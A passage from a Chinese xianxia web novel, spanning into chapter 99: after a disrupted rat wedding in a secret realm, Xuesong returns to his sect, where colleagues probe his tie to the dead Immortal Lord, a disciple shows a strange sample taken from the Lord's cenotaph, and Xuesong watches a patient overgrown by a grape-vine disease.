其实他也不是一定要最后才走,只是没想好是不是真的要走,哪怕他之前已经说过可以走。
毕竟刚才听他说话的人都快走光了,那他可以假装有事或者有意外,再考虑考虑,拖到最后,秘境的出口即将关闭的时候走,也不是不可以。
秘境出口快要关闭的时候,大多数还在秘境的人应该都出去了,那到时候从这儿离开,应该不会见到很多人在附近,那就等于没有很多人会看见耳朵上多出来的东西,雪松不就免于解释了吗?省事总是好的!
但有刚才犀牛那么一问,雪松再要不出去,显得好像真出了什么事似的,万一有人着急起来,以为他需要帮忙,特地赶回来找他,让他解释也不是,不解释也不是,还不如走。
雪松叹了一口气,准备离开。
站在旁边的客人和朋友相互看了看,都从对方的眼中看出了自己的猜测。雪松果然是因为感受到仙尊曾经在附近活动的痕迹,才舍不得离开这里吧?
哪怕其实宗门里的仙尊的痕迹会更多,但是,宗门随时可以去,这里却不见得,毕竟这是个秘境,没那么随便进出。
除非碰运气,这个秘境里面大多数不属于秘境之中的东西,都是有些人,也不知道运气好不好,进来了,遗落在里面的。
离开之前,雪松看着周围虽然并不狼藉,但十分空旷的座椅,对还留在旁边的两个人说:“有一件事……”替我跟结婚的老鼠说声不好意思,耽误了他们的事儿,把客人都吓跑了。
客人和朋友一个劲点头,立刻答应下来,拍了拍胸口,一副就包在身上的样子:“我们明白,你放心吧!”
他们见了野猪精被一点一点分开,也见了其他客人溃散奔逃,虽然不太清楚现在的情况,但觉得自己很清楚,认为雪松嘱咐他们的事情是,替他好好看着这里,如果再有仙尊遗落的东西进来,就为他收着,至于这次婚礼的事,之前的态度已经很明显了,是既往不咎,所以那些老鼠可以不用担心,他们也会转告的。
雪松对于他们是否清楚自己要说的事情,是不清楚的,但看他们一副信誓旦旦,好像确实什么都知道的样子,将信将疑走了。
秘境的出口在察觉到,周围已经没什么外来者的时候,嗖的一声关闭了,连带着周围的光芒也暗淡了许多,一切恢复原样。
冷飕飕的风从周围呼呼的刮,剩下的两个人对视一眼,打了个哆嗦,吹着喇叭来到附近的新郎,看见空空的桌子里面只有两个客人,愣了一下,感到疑惑,挠挠头问:“只有你们两个收到了邀请?我还以为会很热闹呢!”
两个人眨巴着眼睛说:“刚才仙尊的道理来了一趟,拿走了仙尊的遗物,其他客人,中间有一个不怀好意的被处理掉了,剩下的吓跑了,只有我们两个了,如果你希望有更多的客人,你得自己去重新把他们找回来才行。”
新郎愣了一下,大吃一惊,但往周围看了看,确实感觉到了许多不属于这里的修仙者的气息,将信将疑起来,皱着眉头,背着手往洞穴里走去:“既然如此,我问一问。空荡荡的,办起来可不成样子。”
他走进去之后,见到了一堆还在忙来忙去的小老鼠,询问了一下情况,小老鼠们都摇了摇头,说不清楚,只是刚才有个野猪精撞碎了门板,不小心又掉进陷阱,最后急轰轰浑身鲜血跑出去了,好像在门口又死掉了。
到这个时候新郎已经相信了一大半,但还没有见到新娘和大老鼠,因此又往里走去,走了一段路还没看见新娘,看见走出来的大老鼠,张了张口,正要询问。
大老鼠挥了挥手,阻止了他的话,已经猜到他要问什么,有气无力说:“就像你看见的这样,有人刚刚来过,出了一点事,一个客人在洞口,死掉了。
你还想继续就继续,不想继续,今天也可以中断,不过记得通知新娘一声,我有点累了,想回家休息,明天再来找你们。”
新郎眨了眨眼睛,对于大老鼠知道这么多的情况并不意外,但看对方神情疲惫,语气颓丧,从未有过,又吃了一惊,忍不住问:“你是不是知道什么?比外面的小老鼠和客人更多,把那些告诉我吧?
虽然我之前没参加,但我好歹也是这场婚礼的主角之一,我想,我有必要知道,万一他们还来呢?万一他们伤害我的新娘呢?万一下一次也办不成呢?”
大老鼠呲的一声笑了出来,脸上仍然是疲惫的神情,只发出一些嘲讽的笑声,眼珠转了转,目光从他脸上划过,又像是一颗平滑的小球从整洁的桌面上滚过去,回答:“不用担心,我刚才感觉到外面有波动,他们多半是离开了,短时间内不会再回来,不然刚才就不必走,难道你还以为他们是怕了你不成?你没那本事!”
虽然这话挺难听的,但看在大老鼠的辈分比自己高,又和新娘有些亲戚关系的份上,新郎勉强忍了,皱着眉头说:“那你在隐瞒什么?你不说清楚,我很难不怀疑你!
也许他们就是你引来的,就为了破坏我的婚礼,因为你看我不顺眼,不希望我和你的侄女成婚!你怕我以后比你强,拿走你的遗产!”
大老鼠走动的步子顿了一顿,缓缓转过头来,仔细打量了他,黑漆漆的小眼珠子里闪过诡异的光,最后哈哈大笑起来:“你想要知道?好啊,我告诉你!老鼠里面有内奸!
他们里应外合才把场面控制住,你的新娘一点也不知道,而你根本不在,那些小老鼠们,更是没有一个可用,谁知道是哪一个?你愿意细细问,你就去慢慢问吧!我只看你问不问得出来就完了!我没空跟你瞎闹!”
说完,大老鼠收敛了笑容,冷着脸,对他呵斥道:“让开!”
他打了个哆嗦,感受到了长辈传来的压力,身体立刻往旁边退去,大老鼠就从他身边走了,他挠了挠头,觉得今天再想继续婚礼也不行了,只好叹了一口气,去找新娘。
新娘听了他的话,皱着眉头说:“不行,今天必须要结婚!今天不结,之前的准备不就白费了?你以为洞口有野猪死了,后天就没人来闹事了?今天结了,今天走!到时候追过来,咱们也好跑啊!你傻啦?”
新郎一听觉得也有道理,正好点了点头,又去另外找了一个证婚人过来,急匆匆迅速结了个婚,证婚人走了,小老鼠们把东西布置好也走了。
新郎和新娘收拾了东西,立刻就跑路了。
至于他们的客人,当然只剩下还没走的那两位,本来还想邀请别人,可是,邀请人也挺麻烦的,对面未必收得到,刚才又跑了一批,联系上了也说不来,也就将就了。
反正老鼠们结婚不过走个形式,也不是很需要怎么样的,好歹该有的都有,也没缺什么,两个新人都不计较,只顾着跑路,别人自然更不在意。
好歹那两个客人,还是喝了两回酒,吃了两回肉才走的,挺着鼓鼓的肚子回家去了,今天虽然受了惊吓,但既没受伤也没死,横竖亏不了,只是路上疑神疑鬼,不知草丛里是不是还有什么敌人要跳出来。
两个人虽然吃撑了些,但用了比平时更快一倍的速度回了家,回的是最近的那一个,因为想着,要是两个人分开,更不安全,更害怕,所以也就干脆一起住了。
其他的等好了再说。
等半天没有等到野猪精回到泥潭的大蚯蚓和小蚯蚓面面相觑,神色都非常难看,因为他们意识到这件事情很有可能是,已经被发现并且失败了,沉默了好半天。
“要不报复的事以后再说?”最后是小蚯蚓试探着向大蚯蚓开口了。
大蚯蚓一脸不满意,但还是点了点头,顺着台阶下了:“那就这样吧。”
毕竟都已经死了一只野猪精了,可见雪松要是想搞死他们,绝对是有可能的,野猪精的试探作用已经结束了。
他们要是不识趣,再往上凑,实在是自寻死路,暂时没有寻死的打算,这件事也确实是不得不算了,不算了又能怎么样呢?
在秘境出口打开的时候跟着出去吗?鬼知道会到什么地方!运气差的时候到了他们的大本营,那和送死有什么区别?
说不定比送死更倒霉,因为一时半会死不了,还要受折磨,死了之后,还得被洗干净,看看有没有别的用处,一旦被用上,那是让人一看就丢脸甚至丢不知多少年的事啊!
此时的秘境出口外,雪松回到了宗门的广场上,在他去之前的位置上,往周围看了看,许多人都已经陆陆续续回来了。
趁着暂时这里还没人声鼎沸,他立刻就要走,不料长青笑眯眯过来找他,挥了挥手向他走来说:“好久不见了!还以为你今天一时半会儿出不来了呢!没想到还真见着了!”
雪松只好讪笑:“换个地方说话吧?”
长青往周围看了看,周围的人越来越多了,声音闹哄哄的,仿佛是不太适合,也就点了点头:“那就走吧。”
他一边往外走一边说:“正好上次咱们说,要去海那边,还没去呢!这次补上怎么样?”
雪松是不太想去的,毕竟他刚刚才从秘境里出来,觉得自己很需要休息,但是转念一想,如果真能到那么远去,周围的人一时半会儿也见不着他,说不定过两天就把他的事儿忘了,也就不必向他问耳坠子的事。
他也就点了点头,答应下来。
长青很是高兴,笑眯眯说:“太好了!自从上次这件事情没成功,我就一直记着呢,总算找到你有空的时候了,不用再拖下去了!希望能尽快有个结果吧!”
雪松听着这些话,心里七上八下的,不知他究竟想些什么,点了点头,只是支支吾吾,没什么确切的回答,希望他只顾着说话,不要注意自己的耳坠。
但事与愿违,刚到海边,长青忽然觉得眼角被什么东西一闪,便立刻转过头去,不知是不是有人准备偷袭,结果定睛一看,发现刚才闪着他眼睛的,不是别的东西,正是雪松耳朵上多出来的红宝石一样的耳坠。
他瞪大了眼睛,倒吸一口凉气,才去了秘境就多了一个东西?这能是从哪来的?肯定是秘境!
可是他看这东西上的气息和仙尊十分有关联,难道秘境里也有仙尊的遗物?仙尊怎么到处丢东西!可恶!
那么高的修为,不可能忘了就忘了那,或者不知道自己身上少了什么,那要么是出了意外,所以一时没顾上,要么根本就是故意的!
以仙尊的情况,难道还能是前者吗?肯定是后者!那么仙尊早就料到自己死后,雪松会四处寻找他遗留下来的痕迹,想要用各种办法复活他,或者延续他?
仙尊是为了避免雪松一时冲动,精神失常,做出什么不可理喻的事来,才在各种各样,自己执行任务时想到的,雪松可能会去的地方,留下自己的东西来安抚雪松摇摇欲坠的精神吧?
不,说不定,仙尊本来不打算去那些地方执行任务,只不过是算到雪松以后可能会去那样的地方,为了以防万一,才接下了任务,名义上是为了任务,实际上是为了雪松……
这又怎么不可能呢?以他们的感情,以他们的关系,以他们现在的所作所为,谁又有什么可质疑的呢?
不知这次能看见什么……长青想到这里,不由心情复杂,叹了一声,把雪松带到了之前提过的那东西面前:“这就是了!试试吧?”
“你呢?”雪松看向他问。你是一起去还是在外面等着?其实雪松觉得看不出什么,毕竟,自己和自己的前世是不会有交集的。
“我在外面等你吧?都进去了,不小心出事就不好了,都没人知道。”长青摇了摇头。
雪松也就不再说什么,毕竟他身上带的药不多,最好早点回宗门去,他可是还没来得及进回春堂就被拉过来了,拖久了容易出事。
一切像是一瞬间的事,雪松进去又出来,站在外面,恍惚了好一阵子,想起了在里面发生的事,没什么特别的。
不过是从前的事情在眼前的又一次发生,偶尔他自己也扮演一下,他扮演自己扮演得得心应手,应该没露破绽。
长青呆呆的,转过头来,像是被人敲了一闷棍的样子,欲言又止,雪松顿时有种不妙的感觉,向他问:“你看见什么了?”
“就是你感觉到的那些……”他吞吞吐吐说。
虽然不知道雪松记得多少,但是从他的角度看,他看见的可多了——
仙尊会在自己洞府独处时,突然从储物戒里拿出一看就不属于他的东西,笑眯眯摆弄一阵,随手放在洞府的角落,轻声细语,如同——
第99章
如同正在与自己心上人交谈……
“我感觉到的那些?”雪松挑了挑眉, 想了想自己感觉到的那些东西,实在想不出来,那些东西有什么可奇怪的, 能让对面这样支支吾吾。
“总之, ”长青摆了摆手,神色复杂, “既然事情已经办成了, 我们还是先走吧?此地不宜久留,也许还有别人要来呢?”
雪松虽然并不觉得这里有什么危险的地方, 但听他这么一说,知道他的意思是立刻要走, 也就不打算在这继续待下去, 点了点头。
二人回到了宗门, 长青匆匆走了, 他去找长老,把看见的都说了, 神色唏嘘道:“我还以为能看见一些别的, 或者,事情真像他从前所说的那样,他和仙尊没有什么关系呢!可是现在看来,他那个时候说和仙尊没什么关系,不过是记忆残缺罢了,现在他承认的和我看见的才是真的……”
长青说完长长叹了一口气, 一副需要好好思考的样子。长老在旁边走来走去,收拾自己的资料,听他叹气,抽空看了他一眼, 见他情绪波动并不大,也就随口安慰道:“事已至此,还有什么可怀疑的呢?之前种种事件不是都证明了吗?”
长青闭着眼睛摇了摇头:“我不是……”他顿了顿,睁开眼睛,眼眶有些泛红,眼中起了红血丝,像是熬了好几个大夜才熬出来的,又像是说着说着情绪真开始激动了:“虽然之前的事情都可以证明,但他的态度你不觉得奇怪吗?”
长青说着,按住桌子站了起来,盯着长老问,满脸求知若渴。长老用一种,你这个人怎么真是说不通的表情,看了他一眼,摇了摇头,叹着气把手里的资料放到书架上,转过身来看着他,一脸语重心长说:“你不能这么想,毕竟你也知道,他之前的态度只是因为不清楚而已,骗自己有什么用呢?接受现实吧你!”
长青走来走去,一不小心踢着了凳子,凳子撞在桌子上,哐啷一声响,长老皱着眉头,往后仰了仰头,不太舒服,嘟囔着指责他:“人老了,听不得这些吵闹声!你能不能安静点?你再这么吵来吵去,我要把你赶出去了!”
长青叹了一口气,蹲下去把凳子扶起来,之后抱住凳子说:“我想试试干点什么别的,再试探试探……”
他说完这话就把眼睛闭上了,一副伸着脖子等着挨打的大鹅的形象,显然他自己也知道这话听起来有点太执迷不悟了。
长老冷笑一声,已经是没有办法了,横竖不需要自己去,也就随他了,摆了摆手,重新转身面向书架,对他说:“你要去就去吧,不用告诉我,以后犯了事儿也别告诉我,我不想跟你担责,记住了就走!”
长青从地上缓缓站起来,点了点头,犹豫着问:“你真的不帮我?你可是我师尊!你真的一点也不帮我?”
长老转过头来,把他上下打量了一番:“你有什么值得我帮的?以你现在的修为,我们现在不过是维持师徒的名分罢了,我早就用不着教你什么,宗门也管不着,你每月上供的那点零碎,还不够我吃一顿的呢!我没找你麻烦都好了!”
长青摇了摇头,并不把这些话放在心上,只是说:“你真的一点也不想知道?我要干什么?”
长老狐疑起来:“你不会是真要干什么宗门不允许的事情,而且还需要我的帮忙吧?我告诉你,我是不会帮的!现在给我出去!”
长青摇了摇头:“我可不做那种事,再说了,宗门的限制也没有想象中那么严,我这就走。”
他这么干脆利落,长老反而吃了一惊,瞪着眼睛看他,发现他还真走到了门口,连忙喊住:“你回来!”
长青转过头来:“有什么事?”
长老背着手问:“你究竟是要做什么?”
长青眯着眼睛,像一只狐狸一样笑道:“我刚才不是说了吗?我只是想要再试探试探雪松和仙尊之间的关系罢了。
我当然知道这其实已经是板上钉钉的事情,但是不妨碍我心有怀疑,既然怀疑就应该,做点什么,我会想一个新的办法验证,就是这样。”
他用一种这已经是老生常谈的表情说:“这还是你教给我的。你忘了?”他长长叹了一口气,有些唏嘘的样子。
长老皱起眉头,顿时感觉被他激了一下,怒道:“怎么一副好像我已经老了的样子?!我比你老也没老到那个地步!”
“我没有那么说!”长青睁着眼睛,投降似的,把手举了起来。
“好吧,”长老用一种非常不信任的目光将他上下打量一番,好像是在看一只常常越狱的仓鼠,脸颊抽了抽,露出算我倒霉的表情,“这一次勉强帮你,不要说出去!不然我是不会认的!”
长青微笑着点了点头:“好,我知道了!”
“出去吧你!”长老抬起手来对他挥了挥,就好像一台挂在墙上的老旧风扇,试图把门口的蚊子吹走。
与此同时,雪松在路上见到了正在到处找他的同门,同门一见到他,就面色一喜,立刻加快脚步走了过来,试图伸手拉住他,要把他带到隐蔽的地方去谈话。
雪松本来不想跟他走,但是想一想,他可能说的事情,大约是不适合让别人知道的,也就跟他去了,站到一个没人的地方,往周围看了看,四处都是阴影,对面正要开口。
雪松却觉得这里虽然有树林,有草丛,有阴影,不是个有人常来的地方,但可能是小情侣特别喜欢来偷偷摸摸的地方,万一他们来之前这里就有小情侣躲着,在干什么,而他们没有发现,那些小情侣还躲在这里,屏住呼吸,不想被他们发现,还想着偷偷溜走,或者挖掘什么秘密,那可不能在这说什么。
雪松就阻止了对方,抢先开口道:“到我那去说吧?你应该有时间吧?看起来像是有话要说?我没猜错吧?”
同门愣了一下,露出个哭笑不得的表情,点了点头,跟着他走了,雪松就把人带到了自己洞府,这里有法阵,除了他自己,平时没有人会来,也没有人能随便进来。
他检查了一下法阵,法阵是完好无损的,房子里也没有其他人,他把人带到了洞府里招待客人的那个房间,请人坐下来,顺手倒了一杯水,并问他:“喝水没关系吧?我就不用茶招待你了,可以吧?”
对面点了点头,并不很在乎这个,一边看他倒水,一边有点好奇:“你为什么……”同门顿了顿,似乎突然意识到自己要问的问题不太友好,于是打住了。
雪松抬头看了他一眼,停下了水壶,把装了七分满的温水杯递给他:“你要问什么?直说吧。”
“你为什么,”同门不知道为什么,感觉自己有点害怕这样的雪松,哪怕对面并没露出什么恐怖的表情,眨了眨眼睛回答道,“你为什么不用茶呢?”
他可以发誓自己问这个问题,只是好奇而已,没有别的意思,所以才会在之前想问,但又意识到好像不太好的时候,直接止住。
他要是特别想问,或者问了这事,就能得到什么,他可不会那么轻易就打住。但现在看来,他觉得自己其实一开始就不该说。
还是一到没人的地方就放松警惕了!同门打量了一下雪松的脸,雪松和去秘境之前没什么太大的区别,至少长相上是的,衣服上也差不多,配饰也和进去之前——
等等,好像多了个东西?上面有仙尊的气息?!这是仙尊曾经的东西?!这是仙尊的遗物!!!
原来他到秘境里面去,是为了拿仙尊的遗物?拿到了就立刻带上了?难怪他本来好像有很多事情的样子,但一下都放了,偏要去秘境!如果是为了仙尊,一切都说得通了。
他现在比从前更像是仙尊的遗孀了……这个词好像不对……未亡人……好诡异的形容!同门感觉自己的头都要炸开了。
他一下子从凳子上站了起来,感觉头皮发麻,开始在房间里走来走去,低着头看着地面,好像那里面马上会爬出一大堆的虫子一样。
他现在意识到了更多的不妥——
他一个人来到仙尊未亡人的洞府,还进了门,是不是不太好?这对大家的名声都不太好!
虽然其实不相干的人也未必关注或者知道,但是他身边的人绝对会知道的!他们知道了会揍他的吧?!
也许他现在应该出去!但是恐怕来不及了,因为他已经进来了!现在出去不等于没有进来过!
更何况,进去出来,太频繁也容易被人发现……见鬼怎么听起来像偷情?他真的没有做那种事!
同门又抽空看了一眼,站在旁边的雪松,立刻收回了目光,说起来,如果他现在提出要出去,是不是有点太冒昧了?
毕竟他才答应进来,一进来就要出去,刚刚还问了茶和水的问题,显得好像他是不满意没有茶水招待自己,才一定要现在就出去?他也没有那个意思!好麻烦!好讨厌!
“你在想什么?”雪松看着他走来走去,有些疑惑:“我不用茶,是因为茶放在抽屉里,我暂时不想打开。”
同门站定了,随口问:“是因为抽屉里有什么不能给我看的东西吗?”他平时跟朋友插科打诨习惯了,现在顺口问出来,问出来之后,就恨不得扇自己一巴掌——
见鬼见鬼见鬼,这种话怎么能随便乱说呢?!这是能对着仙尊的未亡人说的话吗?太不礼貌,太不尊重,太过分了吧?
对方不在乎,不代表他真的可以肆无忌惮!更何况,万一真有什么不能给人看的,被灭口怎么办?!
雪松就看见自己还没说话,对面的脸色肉眼可见变得难看起来,铁青中微微发黑,有点好笑:“……没有,只是麻烦而已。”
虽然招待客人嫌麻烦是很不应该的事情,毕竟作为主人招待客人本来就是必要的,如果不想招待,可以不让人进来,那就没有客人,也不必招待,但是客人都已经在屋子里了,还是自己邀请的,说招待客人麻烦,简直是在对客人说,我希望你现在就出去——
虽然雪松也并没有那种意思,但有些话听起来就是那么一回事,不需要真有那种意思,别人心里听了不高兴,自然会走,不是也是了。
到那时候谁还在乎什么真不真的?都没用!
同门听见雪松没说自己不能接受的什么话,顿时松了一口气,往旁边一坐,决定谨言慎行,不再乱说话了,仔仔细细思考了一番,满脸郑重道:“那我们现在开始谈正事吧?”
雪松点了点头看着他:“你找我要说什么?”
他深吸一口气说:“之前的事情我已经查到了,我联络了墓园的管理员,要求暂时闭馆一段时间,并支付了相应的报酬,那边答应了,也就协助我进行了这件事——”
他低下头去抹了一把脸,像是想要把一种,感觉已经粘在脸上的东西抹下去,声音微弱:“在没有人的时候,管理员在门口看着,免得有人误入,而我在墓园里,仙尊的那个衣冠冢面前,开始挖坟。”
雪松听见仙尊两个字,挑了挑眉,听见衣冠冢,忍不住闭上了眼睛,虽然他早就接受自己上一个身份已经完全死掉的事实,但是,不管什么时候亲耳听见,面前的人对自己说这些事情,他都觉得浑身起鸡皮疙瘩。
有一种人还活着,但是要被迫观看其他人为自己举行葬礼之后在自己的黑白遗照前,一边送花,一边大哭的感觉。
上去也不是,不上去也不是,上去怕别人以为是闹鬼,把人吓坏了,不上去,怕别人真哭得肝肠寸断,再讲些什么惊世骇俗的事情来,使他颜面不保,卡在那儿了。
同门小心翼翼观察了一下雪松的反应,发现他闭着眼睛,一副不忍直视的样子,顿时打了个哆嗦。
完了,又说错话了!刚才不应该提仙尊,也不应该提衣冠冢的!早知道应该稍微说慢一点,仔细思考一下用什么词比较合适,不会让别人一听就难过。
想也知道,普通人听见仙尊和衣冠冢尚且感到难过,仙尊的未亡人听见这些词,怎么可能无动于衷呢?
“对不起……”同门小心翼翼,试探着望着雪松。
雪松睁开眼睛,面无表情,力图伪装得平静无波,但一看见,对方一副很抱歉,说到你的伤心事的样子,嘴唇还是颤了颤:“继续。”
同门连忙点头,不愧是仙尊的未亡人,在调节情绪上也这样迅速,叫人自愧弗如,明明都难过到嘴唇颤抖了,还在强忍,一定很不希望,让别人知道自己现在还沉溺在过去的悲痛之中吧?
因为既不想受到打扰,也不想受到影响,更不想完全和仙尊告别,假装仙尊还在身边,或者好像刚刚死掉一样,也许比接受永远见不到仙尊,更容易一些。
还是不要戳他的伤口了!
同门接着说:“挖开了之后,里面是一副棺材,棺材里面是,一些东西——”他虽然说得很隐晦,但意思已经很明白了,那些东西就是代表仙尊的,仙尊的遗物。
雪松点了点头表示明白,同门一脸担忧道:“我检查了一下,东西没有遗失,也没有损毁,只是表面上,多了一层类似于油脂和黑色的胶质皮屑混合物的东西,幸好那也不多,薄薄的一层。
我用东西刮了之后又清洗了一遍,再进行晾晒和清洁咒使用的处理,看起来好多了,虽然不能恢复到完全没有被接触过的样子,但比刚打开的时候好一些。”
雪松若有所思:“那你有带吗?关于遗物或者是遗物上面的东西,残留的样本?总得有点什么东西,才能确定究竟是什么吧?
不然空口无凭,说出去也没人信,我们两个所能了解的东西还是太少了,有时候或许应该寻求别人的帮助。”
是的,他现在说的别人是指回春堂的回春,回春了解的东西虽然未必比他们多,但肯定和他们的方向不一样,毕竟是在回春堂的。也许,回春能告诉他们什么?
“这个,”同门皱着眉头,有些犹豫,一只手揣在兜里,像是在拿什么东西,“我确实保留了样本,这样比较方便以后追查和检验。
但是这种事最好不要告诉别人,因为知道的人多了,可能会把危险引到不知情的人身上去,那就闹太大了,也更容易搞不清楚怎么回事。”
“我明白你的意思,但是,你既然保留了样本,总不会只是拿来给我看吧?你有什么想法?”雪松挑了挑眉,向他问。
他慢慢把手从口袋里抽出来,拿出了一个大拇指长短粗细的小玻璃瓶子,里面装着荧光蓝色的液体,头顶上是一个黄色的金属环,用来进行密封。
这个瓶子并不是很大,但里面的液体更少,根本没有装满,瓶盖和液体之间,隔着一段距离,在被拿出来的时候,液体在瓶身里轻轻晃荡,像是虚拟的海中,有一艘看不见的幽灵船正在上方,飘摇而行。
仔细看,还能看出里面有星星点点的白色碎屑微微闪着荧光,像是正在下一场若有似无的,精灵般的雪。
“这就是我从……”同门顿了顿,用一个委婉的词替代了本来要说的话:“那口棺材里提取出来的东西,本来是一种半凝固的,像油一样的粘稠物体,我把东西弄进瓶子里之后,这东西就渐渐软化了,变得像是液体,现在看起来完全就是液体了。”
“你在回春堂有认识什么能帮忙检测的人吗?”雪松看了看这东西问。
“认识倒是认识,”同门迟疑着说,“但我认识的那些人都是从墓园那边认识的,他们知道我,隔一段时间就会去,要是把这东西给他们,他们多半也能猜到是从墓园里来的……”
雪松察觉了他的犹豫,点了点头,问他:“那能交给我一点吗?我在回春堂认识一个人,也许可以帮忙,他不知道墓园的事情,应该也不知道我去过。”
同门想了想,为难道:“那你要多少呢?”少了恐怕不起用,多了又太危险,要是一不小心弄洒了,那就什么也不剩了,还得再去找,现在棺材那边未必有,这可不是好事。
“一点点就行。”雪松掏出一个小瓶子,比对面的瓶子小一半,表面上闪着莹莹的白光,看起来十分漂亮,里面完全是空的,脖子上有一个小小的红色丝带蝴蝶结,就像是正常人脖子上可能会出现的领结一样。
“好吧。”同门叹了一口气,把那个瓶子打开了,但是刚刚打开,里面的液体就迅速消失了,他吓了一跳,连忙又把瓶子拧了回去。
但现在已经有点晚了,因为瓶子里面的液体已经不剩多少了,恐怕不够再分的,而且,他现在暂时没搞清楚液体究竟怎么消失的,最大的可能是,因为他拧开了盖子,所以液体消失了,那他就不能再开盖子了。
他确认把瓶子拧紧了,一脸无可奈何对雪松说:“不好意思,但我想,今天恐怕是不能把这东西给你了,我还得再回去检查一下,不知道墓园那边有没有出什么事。
说不定这东西是到时间就消失,或者,我取这个东西已经被发现了,所以知道这个东西的存在,正在紧急销毁证据,你看?”
“那你回去吧,”雪松点了点头,把自己的瓶子收了起来,也不强求,只是说,“注意安全,如果可以,明天再来,把东西交给我就行,只要这东西还能交到回春堂的手里,就能检测出一点结果来,总比昏头摸象要好。”
同门也觉得雪松这话说的对,点了点头:“我明白。”他收起了瓶子,再三检查,确认这东西不会半路就漏掉或者撒掉,小心翼翼揣回了兜里,慢吞吞站起来,对雪松点了点头,转身离开了。
雪松把他送出去之后,正要转头回去休息,忽然顿了顿,想到自己从秘境里带回来的材料,应该带到回春堂去,炼成丹药,也就不休息了,把门关好,向回春堂走去。
回春堂依然和从前一样忙忙碌碌,雪松找到了回春堂的一个工作人员,对他说起了自己需要制作一份提升等级的丹药的事。
他开始了例行公事的询问:“东西都准备好了吗?”
雪松点了点头,把东西掏了出来,摆在了桌子上,看向对方,对面将桌子上的东西一一拿起来检查了一番,点了点头:“这些东西可以练成你说的那种丹药,但是,这些东西必须要留在这,由回春堂保存。”
他顿了顿,像是担心雪松注意力不集中,一不小心没听到一样,特意说:“回春堂的炼丹房数量有限,之前已经被人登记满了,所以现在使用需要预约,预约至少要等三天。
今天预约,三天之后才能开始炼制,至于这个丹药什么时候练成,那就要看运气了,一般情况下,十天或许够了。
要是运气不好,要二十天,要是练坏了,那可能要三十天,你能接受吗?能接受就在这里按个手印,现在给你预约,不能接受,那就预约不了。”
雪松想了想,点了点头,按了手印,答应了预约,之后就是等待了,他转身要走,正好遇到路过的回春,回春冲他打了个招呼。
“没想到在这见到你!之前听说你去秘境了,还不知什么时候回来,以为还要过好一阵子呢!”回春停下脚步对他说。
他点了点头:“刚回来,没多久,过来问炼丹药的事,你还在研究那个葡萄病菌?”
回春的脸色一下子变了,叹着气说:“对,那东西好像还在传播……”他低着头,忽然想起之前答应雪松的事,把雪松看了看,问:“你还有兴趣吗?”
“那件事?”雪松不太确定他的意思,试探着问。
“对,”回春点了点头,“报告我已经打过了,上面同意了,你可以去,但因为你之前不在,所以同意书我一直留着,也不知道你回来究竟还去不去。”
“现在可以去吗?”雪松倒是有兴趣,但不太确定对面是不是和他一样。
回春看了一眼时间:“现在还来得及,你要是愿意去,现在就可以跟我去,只不过得稍微准备一下。比如你的衣服。”
雪松点了点头,跟着回春进入了一个狭长的走廊,回春在里面打开了一个房间的门,房间里挂着雪白色的一件衣服。
“你把这衣服穿上,就可以跟我进去了。”回春一边说一边看了看他的鞋子:“柜子里有鞋,顺便也一起换了吧?”
雪松点了点头,换了衣服和鞋子,出来一看,回春也换了,他们两个现在装扮一模一样,只从外表上看,根本分不清楚谁是谁,因为衣服和鞋子把他们所能暴露在外的部分全都包裹住了。
“现在可以去了。”回春深吸一口气,仿佛即将要看望的不是一个病人,而是一头得了狂犬病,咬死过人的老虎,几乎有些紧张,对雪松说。
雪松点了点头,试图向他询问那个病人的情况:“那个人还没有死?”
他点了点头,神色十分复杂,不过全都被衣服挡住了,走在路上一点也看不见,只是声音从衣服底下慢慢透出来,像是蒸笼里被面团压住的布:“没有,最近看起来精力越来越旺盛了,我们尝试着,强行对他使用了镇定术和昏睡术,都没什么用,只好在房间外面,布置一个精力流失阵法,好让他稍微安静一些。”
“那效果怎么样?”雪松有些好奇问。
“一般,没有达到预期,但是还能用,所以每天都有至少两个人在那里看着,确保不会出什么意外,你过去了也不能近距离接触,这样可以尽量保证你的安全。”回春说着说着停了下来,深吸了一口气。
雪松往前一看,不远处的通道尽头,是一个拐角,回春对他说:“那边就是了。”
回春一边说一边向那里走去,经过那个拐角,走廊上有两个人正站在一个门口,穿着和他一样的衣服,注视着出现的人。
“你们是什么人?”门口的两个人警惕起来看着他们问。
“我是回春堂的人,旁边是我的朋友,我们都打过报告,得到了同意,”回春一边说,一边把东西掏出来递给他们看,速度很快,完全是早就准备好的,没有靠近他们,只是拿在手里,“在这里!”
对面的两个人把他和雪松还有手里的东西都检查了一遍,点了点头,勉强让他们过了,但并没有从门口让开,只是指了指门旁边的那扇大玻璃,对他们说:“要看就在这看吧,别进去,里面不适合参观,在外面看也是一样的,如果一定要进去,我们就要对你们采取措施了。”
回春和雪松点了点头,走到了玻璃面前,从外往里看去,看见里面是一个病房的样式,白色的床上躺着一个人,穿着雪白色的衣服,盖着雪白色的被子,枕着雪白色的枕头,闭着眼睛似乎睡着了,但身体显然是被牢牢捆在床上的,似乎用的是加固过的绳索,上面的法阵的痕迹还在淡淡闪着金光。
仔细一看,那雪白色的床上已经被染上了紫绿色的葡萄汁液,床边没有被被子盖到的部分,除了捆人的绳索,还有绿油油的葡萄藤和叶子,缠绕在床脚上,密密麻麻交织在床底,就像一张巨大的绿色的网,正在等待猎物,而床上的那个人,谁也说不清,究竟是猎物还是猎手。
小小的,眼睛似的紫色的葡萄从藤上结了出来,干瘪坚硬,而且绷着一层薄薄的皮,像是马上就要裂开,从里面喷出数不清的葡萄籽来,又像是一只被抽了真空的包装完好的带崽的母鱿鱼,只要被人稍稍施加外力,就会立刻破开,发出轰轰的爆炸声,喷出许多的带着腥味和咸味的鱼籽。
那些葡萄吊在床边上,轻轻摇晃着,看不出丝毫饱满美味的样子,倒让人觉得是应该敬而远之的诡异,有种石子堆砌般的氛围。
也不知道是不是感受到了外面有两个陌生人的注视,那床上的人突然颤抖了一下,就像是即将醒来的样子。
没有表情的脸上忽然露出一丝若有似无的微笑,眼睛仍然是闭着的,让人搞不清楚他是知道发生了什么,还是什么都不知道,只不过在没有人触碰的情况下,发生了莫名其妙的条件反射。
幸好,那人身上的绳索还算有力,不然刚才那一下挣扎,恐怕就要让绳子变松了。被子还盖在他的身上,蓬松柔软,一大团,平平整整,大概今天早上刚有人整理过?
雪松忽然感到天旋地转,下意识伸手扶住了玻璃旁边的墙壁,转头往周围看去,想知道是只有自己一个人出现了这种状况,还是大家都有问题。
他定睛一看,就听见扑通一声,一个黑色的人影倒了下去,原来是站在他旁边的回春,甚至来不及伸手扶住墙,就晕过去了。
雪松虽然有些不明所以,搞不清楚状况,但还是伸出手去,想要把地上的回春扶起来,顾不得查看另外两个人的情况。
